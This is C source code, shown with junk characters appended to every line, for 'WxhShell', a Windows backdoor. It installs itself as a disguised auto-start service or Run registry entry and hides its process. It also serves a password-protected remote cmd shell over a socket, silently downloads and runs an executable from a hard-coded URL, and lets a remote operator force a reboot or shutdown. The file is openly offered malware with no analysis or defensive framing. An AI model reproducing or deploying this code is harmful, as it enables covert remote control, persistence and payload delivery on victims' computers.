  case 'd': { y jpjJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G]SE A  
    if(Boot(SHUTDOWN)) V4"AFArI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .dygp"*  
    else { 4a 5n*6G!  
    closesocket(wsh); :vr,@1c  
    ExitThread(0); }+B7C2_\  
    } f&`*x t/  
    break; \?g%>D:O;  
    } (r|T&'yK  
  // 获取shell 7q?Yd AUz  
  case 's': { Uyh   
    CmdShell(wsh); ^U =`Rx  
    closesocket(wsh); ! Q#b4f  
    ExitThread(0); l:ED_env:  
    break; _5)#{ o<  
  } M{S7ia"s  
  // 退出 0{ ,zE  
  case 'x': { /X:lt^?%I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Vy9n3W"FB1  
    CloseIt(wsh); vW_A.iI"e  
    break; %,^7J;  
    } <|8 l;  
  // 离开 }J*&()`  
  case 'q': { Cb13Qz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )_=&)a1U  
    closesocket(wsh); oY] VP+b!  
    WSACleanup(); 7Y)wu$!7}  
    exit(1); j\vK`.z  
    break; daorKW4  
        } =.%ZF]Oe+#  
  } 1t0F J@)*  
  } EK'&S=]  
`~RV  
  // 提示信息 wx!*fy4hL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7^; OjO@8  
} d#*5U9\z  
  } Z^|C~lp;n  
bXfOZFzq)  
  return; "VeUOdNA>  
} d5%*^nMpY  
rNAu@B  
// shell模块句柄 J'EK5=H  
int CmdShell(SOCKET sock) M;9+L&p=  
{ =6dKC_Q  
STARTUPINFO si; xsvs3y|  
ZeroMemory(&si,sizeof(si)); HB}gn2 .1&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $7r wara  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `SW " RLS3  
PROCESS_INFORMATION ProcessInfo; 2mO#vTX4  
char cmdline[]="cmd"; c>R(Fs|6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (w- u"1&  
  return 0; @r43F$bcqo  
} lEDHx[q  
I Q L~I13  
// 自身启动模式 HLk"a-+'  
int StartFromService(void) aC},h   
{ S3'g(+S  
typedef struct U,M,E@  
{ hq*JQb;Y}  
  DWORD ExitStatus; \,EPsQV0?  
  DWORD PebBaseAddress; VqrMi *W6  
  DWORD AffinityMask; P~<93  
  DWORD BasePriority; d{hYT\7~1(  
  ULONG UniqueProcessId; G"[pr%?  
  ULONG InheritedFromUniqueProcessId; 6'ZnyWb  
}   PROCESS_BASIC_INFORMATION; D5>~'N3b  
(0Qq rNs  
PROCNTQSIP NtQueryInformationProcess; J9FNjM[qe  
5jQP"^g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fdw[CYHz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ."X~?Nk  
Yel(}Ny  
  HANDLE             hProcess; >>cd3)b  
  PROCESS_BASIC_INFORMATION pbi; Bg h$P  
0q>lW &J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;5k|gW  
  if(NULL == hInst ) return 0; ~K96y$ DTE  
`.W;ptZ6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DxgT]F%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gk1S"H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); orHD3T%&  
5r<(Z0  
  if (!NtQueryInformationProcess) return 0; j*u9+.   
0_ \ g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \Ji2u GT  
  if(!hProcess) return 0; :\J bWj_j  
N^]>R :Stu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4Jr[8P0/A9  
X@&uu0JJ  
  CloseHandle(hProcess); wKlCx  
"T u[n\8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #6jwCEo=V  
if(hProcess==NULL) return 0; &] 6T^.  
--YUiNhh  
HMODULE hMod; mJ>99:W+  
char procName[255]; /&:9VMMj  
unsigned long cbNeeded; .K1E1Z_  
BDRVT Y(s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Vk_&W.~  
a.IF%hP0xo  
  CloseHandle(hProcess); Y^Q|l%Qrb  
?1:/ 6  
if(strstr(procName,"services")) return 1; // 以服务启动 SQU%N  
]~Vu-@ /}  
  return 0; // 注册表启动 YiuOu(X  
} pf@}4PN}  
*.c9$`s  
// 主模块 (I ds<n"  
int StartWxhshell(LPSTR lpCmdLine) K=?F3tX^  
{ &jZ|@K?  
  SOCKET wsl; Q3%# o+R>  
BOOL val=TRUE; h;p%EZ  
  int port=0; |K;Txe_  
  struct sockaddr_in door; %OW9cqL>l  
Yb3f]4EH  
  if(wscfg.ws_autoins) Install(); p}DF$k%`  
(+8xUc(w  
port=atoi(lpCmdLine); $A@3ogoS&  
bM0[V5:jB  
if(port<=0) port=wscfg.ws_port; NND=Z xl  
r&3o~!  
  WSADATA data; -,A5^>}%,Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m'(;uR`  
>X,Ag  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KBRg95E~]l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;3}EB cw)  
  door.sin_family = AF_INET; H L|s pl(c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?  < O  
  door.sin_port = htons(port); T5jG IIa  
*tM7>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {&E Z>r-  
closesocket(wsl); I/V )z9  
return 1; zO5u{  
} $%%>n ^??  
vZeYp  
  if(listen(wsl,2) == INVALID_SOCKET) { >_aio4j}r  
closesocket(wsl); "]s|D@^4#b  
return 1; {/A)t1nL  
} a!y,!EB+Qu  
  Wxhshell(wsl); U?F^D4CV\  
  WSACleanup(); hY= s9\  
W+f&%En  
return 0; Ym.l@(  
Rs F3#H  
} G(OT"+O,  
T$^>Fiz{Se  
// 以NT服务方式启动 $#7J\=GZ+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4%fN\f  
{ r d6F"W  
DWORD   status = 0; Ls>u` hG  
  DWORD   specificError = 0xfffffff; 8yWu{'G  
5\w=(c9A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .p(6' TYnI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mo#0q&ZQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HA9Nr.NqC@  
  serviceStatus.dwWin32ExitCode     = 0; =tc`:!$  
  serviceStatus.dwServiceSpecificExitCode = 0; _:g GD8  
  serviceStatus.dwCheckPoint       = 0; S $_Y/x  
  serviceStatus.dwWaitHint       = 0; $EQT"ZX>%i  
/iTUex7T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >1r[]&8  
  if (hServiceStatusHandle==0) return; {Bq"$M!Y  
:q>oD-b$}  
status = GetLastError(); ikY]8BCc  
  if (status!=NO_ERROR) iRUR4Zs  
{ C~KWH@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xQ#Akd=  
    serviceStatus.dwCheckPoint       = 0; (9KDtr*(2i  
    serviceStatus.dwWaitHint       = 0; =(.mf  
    serviceStatus.dwWin32ExitCode     = status; Rnj Jg?I=  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5]H))}9>d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l$-=Pqb  
    return; s("Cn/ZkS  
  } ;5D @kS^  
i.&Kpw9;m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XSp x''l  
  serviceStatus.dwCheckPoint       = 0; jom} _  
  serviceStatus.dwWaitHint       = 0; GSGyF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M9Nk=s! 3  
} hJ;f1dZ7}  
\[[TlB>  
// 处理NT服务事件,比如:启动、停止 d=t}T6.|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sb}K%-  
{ (ET ;LH3  
switch(fdwControl) @.Z[M  
{ +~w?Xw,  
case SERVICE_CONTROL_STOP: <V$Y6(uMs  
  serviceStatus.dwWin32ExitCode = 0; 8tLT'2+H#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {=bg5I0|a  
  serviceStatus.dwCheckPoint   = 0; ]&C:>  
  serviceStatus.dwWaitHint     = 0; FDF3zzP0  
  { <.r ]dCf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ASKAgU"h  
  } X,WQ'|rC  
  return; <JL\?)}n  
case SERVICE_CONTROL_PAUSE: 8h&oSOkQk,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h v$uH7Fz  
  break; 5u;Rr 1D  
case SERVICE_CONTROL_CONTINUE: !,? <zg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &RK H2R  
  break; }osHA`x"2  
case SERVICE_CONTROL_INTERROGATE: [$( sUc(%  
  break; 4_Qa=T8  
}; y+4?U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }BI~am_  
} ,DQGv_  
L$Hx?^3  
// 标准应用程序主函数 z(g%ue\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ? G$Om  
{ SY%A"bC  
cBz!U 8(  
// 获取操作系统版本 ZnvEv;P  
OsIsNt=GetOsVer(); V!T^wh;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wr$cK'5ZL  
k^H0b\hYY  
  // 从命令行安装 ydwK!j0y  
  if(strpbrk(lpCmdLine,"iI")) Install(); gYTyH.  
2{A;du%&  
  // 下载执行文件 ,|T*|2Gm  
if(wscfg.ws_downexe) { M82.khm~jM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8hTR*e! +  
  WinExec(wscfg.ws_filenam,SW_HIDE); <|{L[  
} "/ tUA\=j  
wGEWr2$  
if(!OsIsNt) { #4P8Rzl$/  
// 如果时win9x,隐藏进程并且设置为注册表启动 > I$B=  
HideProc(); dT5J-70Fl  
StartWxhshell(lpCmdLine); On#;)35M  
} j0g5<M  
else F&=I7i  
  if(StartFromService()) ; cGv] A+  
  // 以服务方式启动 U91 &|  
  StartServiceCtrlDispatcher(DispatchTable); k2EHco0BG  
else K :1g"  
  // 普通方式启动 oM6j>&$b  
  StartWxhshell(lpCmdLine); F>(qOH.I  
E rr4 %-  
return 0; <Z{vC  
} :PgF  
7JbY}@  
=nJ{$%L\x,  
B$cOssl  
=========================================== 89hF )80  
2dHM  
u?Fnln e4@  
GwcI0~5  
fuq( 2&^  
"6?lQw e  
" >%-Hj6%  
!Tv?%? 2l  
#include <stdio.h> CPVzX%=  
#include <string.h> ZU=,f'bU  
#include <windows.h> :W~6F*A  
#include <winsock2.h> o^HNF+sm  
#include <winsvc.h> Z}|TW~J=  
#include <urlmon.h>  b<[jaI0  
xC<=~(  
#pragma comment (lib, "Ws2_32.lib") 7=}6H3|&  
#pragma comment (lib, "urlmon.lib") 4HM;K_G%{  
+T9Q_e*  
#define MAX_USER   100 // 最大客户端连接数 eymi2-a<  
#define BUF_SOCK   200 // sock buffer ? m&IF<b  
#define KEY_BUFF   255 // 输入 buffer =v.{JV#  
he"L*p*H  
#define REBOOT     0   // 重启 O/mR9[}  
#define SHUTDOWN   1   // 关机 r]v&t  
&=YSM.G  
#define DEF_PORT   5000 // 监听端口 yH*hL0mO  
ODm&&W#*  
#define REG_LEN     16   // 注册表键长度 %B@ !  
#define SVC_LEN     80   // NT服务名长度 @&;(D!_&  
Z+ixRch@-s  
// 从dll定义API v2d<o[[C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?-pi,O~(p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BWWq4mdb{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hw;0t,1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _}D%iJg#  
KE<kj$  
// wxhshell配置信息 .Y;b)]@f  
struct WSCFG { yH^f\u0  
  int ws_port;         // 监听端口 :pRF*^eU  
  char ws_passstr[REG_LEN]; // 口令 +#4]o }6G  
  int ws_autoins;       // 安装标记, 1=yes 0=no tv0Ha A  
  char ws_regname[REG_LEN]; // 注册表键名 T=WNBqKo]  
  char ws_svcname[REG_LEN]; // 服务名 UH[<&v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hR-K@fS%l'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aR _NyA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qP7G[%=v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WJfES2N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2UiR~P]%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~/2g)IS  
e9&+vsRmA  
}; 62Mdm3  
</= CZy5w  
// default Wxhshell configuration 5y]io Jc9-  
struct WSCFG wscfg={DEF_PORT, 6O pa{]  
    "xuhuanlingzhe", r088aUO P  
    1, ^5>s7SGB"  
    "Wxhshell", $_sYfU9  
    "Wxhshell", C}q>YRubZ  
            "WxhShell Service", .jA\f:u#  
    "Wrsky Windows CmdShell Service", Z^+rQ.%n"&  
    "Please Input Your Password: ", qe?Qeh(!X  
  1, uMvb-8  
  "http://www.wrsky.com/wxhshell.exe", g5i#YW  
  "Wxhshell.exe" []zua14F6  
    }; 8'_ 0g[s  
!siWEzw  
// 消息定义模块 <?YA,"~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9t?L\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Vo\H<_=G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >)NQH9'1  
char *msg_ws_ext="\n\rExit."; eX"''PA  
char *msg_ws_end="\n\rQuit."; eJHp6)2  
char *msg_ws_boot="\n\rReboot..."; 6g"C#&{@  
char *msg_ws_poff="\n\rShutdown..."; mk%b9Ko<F  
char *msg_ws_down="\n\rSave to "; f8=]oa]  
6W&_2a7*  
char *msg_ws_err="\n\rErr!"; 4J5pXlzV  
char *msg_ws_ok="\n\rOK!"; !;v.>.lw  
OUI6 ax\[  
char ExeFile[MAX_PATH]; g\Ak;03n  
int nUser = 0; 9 #qeFBI  
HANDLE handles[MAX_USER]; "k:=Y7Dx  
int OsIsNt; F)S PaC4  
]3ifd G k  
SERVICE_STATUS       serviceStatus; aE)by-'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s5&=Bsv  
(Sv>NQp  
// 函数声明 v*z(@<Y  
int Install(void); {:bN/zV#  
int Uninstall(void); 0}]SUe^  
int DownloadFile(char *sURL, SOCKET wsh); uFG<UF  
int Boot(int flag); qM",( Bh  
void HideProc(void); ]]2k}A[-I  
int GetOsVer(void); 5dl,co{q  
int Wxhshell(SOCKET wsl); QB&BTT=!  
void TalkWithClient(void *cs); _fn1)  
int CmdShell(SOCKET sock);  @pFj9[N  
int StartFromService(void); 71"+<C .  
int StartWxhshell(LPSTR lpCmdLine); ]a?bzOr,  
$shp(T,q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X:EEPGE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (RE2I  
Q9c)k{QZ  
// 数据结构和表定义 #H~_K}Ks  
SERVICE_TABLE_ENTRY DispatchTable[] = \S ."?!U  
{ P|xG\3@Z  
{wscfg.ws_svcname, NTServiceMain}, O)]v;9oER  
{NULL, NULL} Xgat-cy'DA  
}; [&#/|zH'j:  
I[d]!YI}F  
// 自我安装 <41ZZ0<EwY  
int Install(void) NmpnJu|8  
{ [=uIb._Wv  
  char svExeFile[MAX_PATH]; eKG2*CV  
  HKEY key; Zb_apjg[4  
  strcpy(svExeFile,ExeFile); =:=/Gz1  
`s"d]/85VW  
// 如果是win9x系统,修改注册表设为自启动 d ~`V7B2Y  
if(!OsIsNt) { w5,Mb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [sy j#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3^,QIG  
  RegCloseKey(key); iPj~I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^YlI>_3s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wRvb8F 0  
  RegCloseKey(key); 3@<zg1.9-  
  return 0; 0N;%2=2_E  
    } -SCM:j%h  
  } ~F!,PM/  
} r.yK,  
else { Z>P*@S,6G  
$_Nf-:D*  
// 如果是NT以上系统,安装为系统服务 w0lT%CPx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nh.32q]  
if (schSCManager!=0) /M=3X||  
{ *[}^[J x  
  SC_HANDLE schService = CreateService "rhYCZ B  
  ( [k<1`z3  
  schSCManager, {tiKH=&J  
  wscfg.ws_svcname, [}z,J"Un  
  wscfg.ws_svcdisp, M 4yI`dr6  
  SERVICE_ALL_ACCESS, vFv3'b$;G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]a'99^?\  
  SERVICE_AUTO_START, zjl!9M!  
  SERVICE_ERROR_NORMAL, h6:#!Rg  
  svExeFile, wT,R0~V0  
  NULL, cU.9}-)  
  NULL, pUYM}&dX  
  NULL, (?0`d  
  NULL, >jg0s)RA'  
  NULL r! %;R?c  
  ); |nUl\WRd\  
  if (schService!=0) %aRT>_6"  
  { WXw}^v  
  CloseServiceHandle(schService); U7h(`b  
  CloseServiceHandle(schSCManager); B1!kn}KlL{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x;s0j"`Jb  
  strcat(svExeFile,wscfg.ws_svcname); lLhL`C!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pzZk\-0R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  #xh_  
  RegCloseKey(key); q5DEw&UZJ  
  return 0; H`9Uf)  
    } 7gF"=7{-  
  } O+q/4  
  CloseServiceHandle(schSCManager); 88s/Q0l  
} 8' DW#%  
} ~`ny @WD9  
};L ^w :  
return 1; ULJmSe  
} Ifc]K?  
saf&dd  
// 自我卸载 2,q}N q  
int Uninstall(void) \3f& 7wU  
{ w>; L{  
  HKEY key; co8"sz0(U  
').}Nz  
if(!OsIsNt) { tBbOY}.VD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yw-8#y  
  RegDeleteValue(key,wscfg.ws_regname); 'a6<ixgo0  
  RegCloseKey(key); O^Q7b7}y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nI.x  
  RegDeleteValue(key,wscfg.ws_regname); :Qt  
  RegCloseKey(key); 1\*\?\T>_  
  return 0; /D&%v *~E  
  } {76c%<`WaP  
} Rhc-q|Lz8  
} FY{e2~gi  
else { CC=d I  
soA|wk\A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #G" xNl  
if (schSCManager!=0) O/s $SX%g  
{ d\{>TdyF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |1b _*G4|  
  if (schService!=0) yZr M.%V  
  { IYn]U4P.  
  if(DeleteService(schService)!=0) { `]Fx.)C#  
  CloseServiceHandle(schService); Dl(3wgA  
  CloseServiceHandle(schSCManager); K_)eWf0a  
  return 0; i':ydDOOHA  
  } 58\&/lYW  
  CloseServiceHandle(schService); XR2~Q)@  
  } TxjYrzC  
  CloseServiceHandle(schSCManager); nRL. ppUI  
} x+ncc_2n&D  
} M5nWVK7c  
)c n+1R  
return 1; 4;n6I)&.(  
} ,YTIC8qKr  
-}O1dEn.  
// 从指定url下载文件 vE@!{*  
int DownloadFile(char *sURL, SOCKET wsh) 0.T4{JS#  
{ |F,R&<2  
  HRESULT hr; ]H-S, lmV  
char seps[]= "/"; %~L>1ShtU  
char *token; $vC1 K5sLk  
char *file; QO;N9ZI  
char myURL[MAX_PATH]; |(5W86C,ju  
char myFILE[MAX_PATH]; kpL@P oQ/r  
FuI73  
strcpy(myURL,sURL); \%PaceH  
  token=strtok(myURL,seps); 1XM^8 .;  
  while(token!=NULL) ku$$ 1xq  
  { Ya>oCr}K  
    file=token; JD@J[YY5R  
  token=strtok(NULL,seps); 2 rw%H  
  } 1) ta  
BdlVabQyKW  
GetCurrentDirectory(MAX_PATH,myFILE); Y<1QY?1sd  
strcat(myFILE, "\\"); J)P$2#  
strcat(myFILE, file); JJ;[,  
  send(wsh,myFILE,strlen(myFILE),0); R\o<7g-|  
send(wsh,"...",3,0); yFDv6yJ.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2gO2jJlv  
  if(hr==S_OK) MZ Aij  
return 0; R|O8RlH  
else )* 4fzo  
return 1; dJT]/g  
|D, +P  
} @d Jr/6Yx  
a=M\MZK>  
// 系统电源模块 ;"(foY"L  
int Boot(int flag) fRg`UI4w}  
{ I%- " |]$  
  HANDLE hToken; q_-7i  
  TOKEN_PRIVILEGES tkp; Q+g!V5'  
b Q]/?cCYV  
  if(OsIsNt) { 2M# r]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3nZo{p:E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :Ad &$e g+  
    tkp.PrivilegeCount = 1; t#q<n:WeYU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pZ/>[TP(%F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !rqF}d  
if(flag==REBOOT) { ,-7R(iMd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z9aY]lHY  
  return 0; 8\{^|y9-  
} gy&[?m6M=  
else { W5SJ^,d)J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |V<h=D5W  
  return 0; 035rPT7-2-  
} v|U(+O  
  } G:zua`u[  
  else { Me 5_4H&Sg  
if(flag==REBOOT) { |SyMngIY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0GJn_@hr  
  return 0; 'fW6 .0fXa  
} FQ=@mjh  
else { ]('D^Ro  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Mbjvh2z  
  return 0; 7Hm3;P.  
} (V4 ~`i4V  
} .A6(D$ O k  
K)J(./  
return 1; OE}*2P/M>  
} (\SA *.)  
_q~=~nub  
// win9x进程隐藏模块 ANgw"&&>(  
void HideProc(void) 9<KAXr#  
{ 1Tu *79A  
.'Vww  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8']9$#  
  if ( hKernel != NULL ) s8}@=]aA  
  { #5V9o KM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uDEvzk42  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hZ.Z3`v70  
    FreeLibrary(hKernel); L:FoSCN Y(  
  } mauI42  
k+ze74_"  
return; T<XA8h*  
} ih7/}   
\EVBwE,  
// 获取操作系统版本 XGl+S  
int GetOsVer(void) mvq&Pj 1}L  
{ =5\|[NSK-  
  OSVERSIONINFO winfo; je!-J8{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b,C aWg  
  GetVersionEx(&winfo); WL'P)lI5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o LvZ   
  return 1; I :vs;-  
  else ub|V\M{  
  return 0; Yl3n2R /U  
} 5-M&5f.   
ELj\[&U  
// 客户端句柄模块 zzxGAVu  
int Wxhshell(SOCKET wsl) ,lyb!k8  
{ }`@728E  
  SOCKET wsh; E2m8UBS  
  struct sockaddr_in client; JYTP 2  
  DWORD myID; Y./2Ely  
JfR %L q~  
  while(nUser<MAX_USER) m}X`> aD/  
{ 3\B>lKhQ  
  int nSize=sizeof(client); 2RX!V@z.G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sQ fFu  
  if(wsh==INVALID_SOCKET) return 1; L31HG H2l  
zRyuq1Zyc,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vMS |$L  
if(handles[nUser]==0) 0PWg;>^'  
  closesocket(wsh); ^Y'HaneoM  
else >"C,@cN}B  
  nUser++; h@[R6G|  
  } R00eisd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1&- </G#  
)'~6HO8Z  
  return 0; ={z*akn,  
} RRI"d~~F6  
{HCz p,Y  
// 关闭 socket a]MX)?  
void CloseIt(SOCKET wsh) % ClHCoyA  
{ ; d J1  
closesocket(wsh); -q*i_r:,  
nUser--; O<,\^[x  
ExitThread(0); k3uit+ge }  
} LbkF   
GSRVe/ [  
// 客户端请求句柄 Pqn@ST  
void TalkWithClient(void *cs) O)jWZOVp >  
{ ,]d,-)KX8  
gntxNp[9T  
  SOCKET wsh=(SOCKET)cs; 3d e_V|%  
  char pwd[SVC_LEN]; >M`CVUf  
  char cmd[KEY_BUFF]; C<P%CG&;  
char chr[1]; 7:2WgL o  
int i,j; F~P%AjAx'  
4 XAQVq5  
  while (nUser < MAX_USER) { sashzVwJ-=  
NB8/g0:=n&  
if(wscfg.ws_passstr) { (,8$V\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H(Z88.OM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MerFZd 1  
  //ZeroMemory(pwd,KEY_BUFF); Gy6l<:;  
      i=0; } x2DT8u  
  while(i<SVC_LEN) { ]4pkcV P  
@CT;g\4  
  // 设置超时 FGoy8+nB1M  
  fd_set FdRead; _iir<}  
  struct timeval TimeOut; zlEX+=3  
  FD_ZERO(&FdRead); v^1pN>#%g  
  FD_SET(wsh,&FdRead); BDjn !3  
  TimeOut.tv_sec=8; 0DJ+I  
  TimeOut.tv_usec=0; +Nt2 +Y:O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LRNh@g4ei  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,d{"m)r<  
iy%ZQ[Un  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dfij|>:*0  
  pwd=chr[0]; 8]U{;|';  
  if(chr[0]==0xd || chr[0]==0xa) { RE/~#k@a  
  pwd=0; -$dXE+&   
  break; e=+?K5q{P(  
  }  7*?}:  
  i++; E<Q f!2s$  
    } RH&~+5  
i*@< y/&'  
  // 如果是非法用户,关闭 socket iT%} $Lu~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K5xX)oV  
} ~1>.A(,=z  
PEc=\?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !lj| cT9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <1t*I!e_  
FW21 U<  
while(1) { G1o3l~x  
lLF-{  
  ZeroMemory(cmd,KEY_BUFF); (aH'h1,G  
9R7 A8  
      // 自动支持客户端 telnet标准   "$2 y-|  
  j=0; n:{qC{D-qS  
  while(j<KEY_BUFF) { 'coV^~qy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pLLGus+W  
  cmd[j]=chr[0]; t},/}b  
  if(chr[0]==0xa || chr[0]==0xd) { %>g3~yl  
  cmd[j]=0; `#;e)1  
  break; m>MB7,C;N  
  } .~l=zu  
  j++; 34Kw!  
    } a_'2V;  
# ?/<  
  // 下载文件 ' <@3i[M  
  if(strstr(cmd,"http://")) { SUU !7Yd|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pc NkAo  
  if(DownloadFile(cmd,wsh)) YJJB.hR+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IX>d`O61*g  
  else \uaJ @{Vug  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gk0(ANx  
